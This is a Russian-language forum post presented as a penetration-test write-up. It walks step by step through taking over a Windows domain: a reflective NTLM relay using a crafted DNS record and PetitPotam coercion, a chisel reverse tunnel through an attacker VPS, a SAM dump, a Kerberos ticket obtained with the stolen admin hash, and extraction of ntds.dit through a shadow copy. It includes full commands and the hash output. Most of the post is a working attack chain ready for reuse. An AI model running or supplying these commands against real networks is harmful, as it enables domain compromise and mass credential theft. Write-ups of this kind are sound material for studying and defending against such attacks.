LIMB
Вход Регистрация

тема

История одного пентеста

spqr · · 0 ответов · 924 просмотров

Не удалось прогрузить медиа

Всем добрый день, периодически заглядывая на форум, пришел к идее, что пора и самому внести лепту в образовательный материал. Скриншоты работ никто не делал, сохранилась только часть вывода работы инструментов и, по понятным причинам, часть данных была заменена. Итак, к сути.
В ходе праздного времяпрепровождения прилетает предложение проверить защищенность одной сети, поэтому берем Debian, forti доступ и начинаем исследование.
Первичная проверка через netexec показала, что доменная инфраструктура оказалась смешанной, были хосты на Unix, Windows-хосты, не входящие в домен. Учетка forti оказалась доменной учетной записью, предоставляющей доступ к двум хостам:
Code:
nxc smb hosts -u user -p pass
SMB 192.168.1.30 445 DC01 [*] Windows Server 2016 Standard 14393 x64 (name:DC01) (domain:domain.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 192.168.1.30 445 DC01 [+] domain.local\user:pass
SMB 192.168.1.20 445 SRV [*] Windows Server 2016 Standard 14393 x64 (name:SRV) (domain:domain.local) (signing:False) (SMBv1:True)
SMB 192.168.1.20 445 SRV [+] domain.local\user:pass
Проверка на низковисящие плоды (записи без предварительной аутентификации, kerberoasting, ms17-010 и т.д.) не принесла результатов, поэтому было принято решение о проведении рефлексивной ntlm ретрансляции. Грамотное техническое описание можно найти на просторах интернета, я же вкратце опишу суть. Нужно заставить хост SRV пройти аутентификацию к созданной доменной записи srv1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, которая указывает на атакующую машину. Хост видит свое имя и вызывает локальную ntlm аутентификацию, которая в последующем отправляется обратно на SRV. Таким образом мы получаем токен SYSTEM и полный локальный контроль над хостом.
Условия для проведения атаки:
  • отсутствие SMB подписи
  • возможность добавления DNS записей
  • отсутствие патча безопасности от июня 2025 года (ну и опять же, насколько помню, патч кривой и не исключает ретрансляции на другие протоколы).
И да, не стоит забывать про ограничения SSL VPN, поэтому атаку будем проводить с использованием VPS (Хорошую статью на форуме опубликовал DCCorp).

На своем VPS запускаем chisel сервер:
Code:
sudo ./chisel server -p 8080 --reverse --socks5
На атакующей машине запускаем chisel клиент:
Code:
sudo ./chisel client <VPS_IP>:8080 R:445:127.0.0.1:445
Если соединение не устанавливается, стоит проверить запущенные службы на портах и либо их закрыть, либо использовать другие порты.

Добавляем DNS запись:
Code:
python3 dnstool.py -u 'domain.local\user' -p pass 192.168.1.30 -a add -r SRV1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <VPS_IP>

Т.к. в последующем обращаться к хосту будем по доменному имени, нужно сразу внести изменения в файл /etc/hosts
Code:
192.168.1.20 SRV.domain.local
Запускаем ntlmrelay:
Code:
ntlmrelayx.py -t SRV.domain.local -smb2support
И выполняем принудительную аутентификацию:
Code:
python3 PetitPotam.py -d domain.local -u user -p pass SRV1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV.domain.local
После выполнения команд происходит рефлексивная ретрансляция и дамп локальной базы данных SAM.
Code:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
user1:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user1:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
После получения локального админа был произведен дамп LSASS на SRV, но ничего интересного не нашлось.
Проверка через netexec на DC показала следующее:
Code:
SMB 192.168.1.30 445 DC01 [-] domain.local\Administrator:5917507bdf2ef2c2b0a869a1cba40726 STATUS_ACCOUNT_RESTRICTION
Эта запись означает, что данному пользователю запрещена аутентификация по NTLM (Administrator состоял в группе защищенных пользователей).
Получаем TGT билет:
Code:
getTGT.py domain.local/Administrator hashes :5917507bdf2ef2c2b0a869a1cba40726 -dc-ip 192.168.1.30
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
И снова выполняем проверку, предварительно добавив DC01 в файл /etc/hosts:
Code:
nxc smb DC01.domain.local -u Administrator -H 5917507bdf2ef2c2b0a869a1cba40726 -k
SMB DC01.domain.local 445 DC01 [*] Windows Server 2016 Standard 14393 x64 (name:DC01) (domain:domain.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB DC01.domain.local 445 DC01 [+] domain.local\Administrator:5917507bdf2ef2c2b0a869a1cba40726 (Pwn3d!)
Следующим шагом было получение всей базы доменных пользователей.
Выполняем репликацию NTDS:
Code:
secretsdump.py -k -no-pass domain.local/[email protected] -dc-ip 192.168.1.30
И вот тут мы получаем ошибку:
Code:
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Cleaning up..
И о чем же нам говорит данное сообщение? О том, что на DC включена политика проверки SPN, которая ограничивает полный дамп через DRSUAPI. Можно было бы попробовать выгрузить единичные учетки, но был выбран другой подход. Воспользуемся теневыми копями системного диска.
Через тот же secretdump пытаемся выгрузить базу:
Code:
secretsdump.py -k -no-pass domain.local/[email protected] -dc-ip 192.168.1.30 -target-ip 192.168.1.30 -use-vss
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
И получаем ошибку:
Code:
[-] Could not get a VSS
secretsdump не смог создать копию системного диска, пробуем выполнить все действия в ручном режиме. Через vmiexec подключаемся к хосту:
Code:
wmiexec.py -k -no-pass domain.local/[email protected] -dc-ip 192.168.1.30 -target-ip 192.168.1.30
Проверяем службу VSS:
Code:
sc query VSS
В моем случае она была запущена.

И собственно начинаем создавать копию и выгружать базу:
Code:
vssadmin create shadow /for=C:
Shadow Copy Volume Name: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\NTDS\ntds.dit C:\ntds.dit
reg save hklm\system C:\system.hive
reg save hklm\security C:\security.hive
Затем скачиваем файлы и в локальном режиме получаем секреты
Code:
secretsdump.py -system system.hive -security security.hive -ntds ntds.dit LOCAL

И, конечно, не забываем откатить назад все внесенные изменения и удалить все созданные файлы с хоста.
База ntds была предоставлена заказчику, и он отправился проводить дальнейшие работы.

Таким образом, в данной статье показан способ захвата домена, при благоприятном стечении обстоятельств, всего одной атакой. Конструктивная критика и комментарии приветствуются.
👍57 🔥8 😢9 💯16

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.